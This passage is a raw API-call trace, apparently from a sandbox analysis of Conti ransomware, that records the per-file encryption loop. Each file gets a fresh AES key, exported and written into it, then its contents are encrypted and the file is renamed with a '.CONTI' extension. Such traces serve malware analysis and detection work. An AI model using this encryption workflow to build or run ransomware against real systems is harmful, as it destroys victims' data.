	[0107.217] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.217] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.217] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.217] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.217] WriteFile (in: hFile=0x3c4, lpBuffer=0x651451c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x651451c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.219] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.219] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x286, lpOverlapped=0x0) returned 1
	[0107.219] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x286, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x290) returned 1
	[0107.219] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.219] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x290, lpOverlapped=0x0) returned 1
	[0107.219] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.219] WriteFile (in: hFile=0x3c4, lpBuffer=0x6514510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6514510*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.220] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.220] CloseHandle (hObject=0x3c4) returned 1
	[0107.220] GetProcessHeap () returned 0x1720000
	[0107.220] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.220] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml"
	[0107.220] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.220] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.221] GetProcessHeap () returned 0x1720000
	[0107.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.221] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.221] GetProcessHeap () returned 0x1720000
	[0107.221] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd5e0 | out: hHeap=0x1720000) returned 1
	[0107.221] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.221] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65139b0 | out: phKey=0x65139b0*=0x17c85b0) returned 1
	[0107.221] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65139b4, pdwDataLen=0x4d3fec4 | out: pbData=0x65139b4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.222] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0107.222] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.222] GetLastError () returned 0x0
	[0107.222] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=724) returned 1
	[0107.222] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0107.222] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.222] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.222] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.222] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.222] WriteFile (in: hFile=0x3c4, lpBuffer=0x65139b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65139b4*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.927] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.927] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2d4, lpOverlapped=0x0) returned 1
	[0107.932] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d4, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2e0) returned 1
	[0107.932] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.932] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.937] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.937] WriteFile (in: hFile=0x3c4, lpBuffer=0x65139a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65139a8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.942] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.942] CloseHandle (hObject=0x3c4) returned 1
	[0107.942] GetProcessHeap () returned 0x1720000
	[0107.942] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.942] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml"
	[0107.947] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.CONTI"
	[0107.947] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\11__Connections_Cellular_Optus (Australia)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\11__connections_cellular_optus (australia)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0107.947] GetProcessHeap () returned 0x1720000
	[0107.947] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.948] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0107.948] GetProcessHeap () returned 0x1720000
	[0107.948] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca860 | out: hHeap=0x1720000) returned 1
	[0107.948] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.948] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17c5100 | out: phKey=0x17c5100*=0x17c8330) returned 1
	[0107.948] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5104, pdwDataLen=0x4d3fec4 | out: pbData=0x17c5104*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.948] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.949] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.949] GetLastError () returned 0x0
	[0107.949] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=650) returned 1
	[0107.949] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x28a
	[0107.949] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.949] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.949] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.949] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.949] WriteFile (in: hFile=0x3c4, lpBuffer=0x17c5104*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17c5104*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.951] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.951] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x28a, lpOverlapped=0x0) returned 1
	[0107.951] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x28a, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x290) returned 1
	[0107.951] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.951] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x290, lpOverlapped=0x0) returned 1
	[0107.951] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.951] WriteFile (in: hFile=0x3c4, lpBuffer=0x17c50f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17c50f8*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.951] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.951] CloseHandle (hObject=0x3c4) returned 1
	[0107.951] GetProcessHeap () returned 0x1720000
	[0107.952] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.952] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml"
	[0107.952] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.952] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.952] GetProcessHeap () returned 0x1720000
	[0107.952] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.952] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0107.952] GetProcessHeap () returned 0x1720000
	[0107.952] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65881a0 | out: hHeap=0x1720000) returned 1
	[0107.952] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.952] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x17c8330) returned 1
	[0107.952] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x4d3fec4 | out: pbData=0x17c5c6c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.953] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml")) returned 0x20
	[0107.953] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.953] GetLastError () returned 0x0
	[0107.953] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=712) returned 1
	[0107.953] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0107.954] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.954] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.954] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.954] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.954] WriteFile (in: hFile=0x3c4, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.956] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.956] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2c8, lpOverlapped=0x0) returned 1
	[0107.956] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2c8, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0107.956] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.956] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.956] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.956] WriteFile (in: hFile=0x3c4, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.956] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.956] CloseHandle (hObject=0x3c4) returned 1
	[0107.956] GetProcessHeap () returned 0x1720000
	[0107.956] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.956] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml"
	[0107.956] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.CONTI"
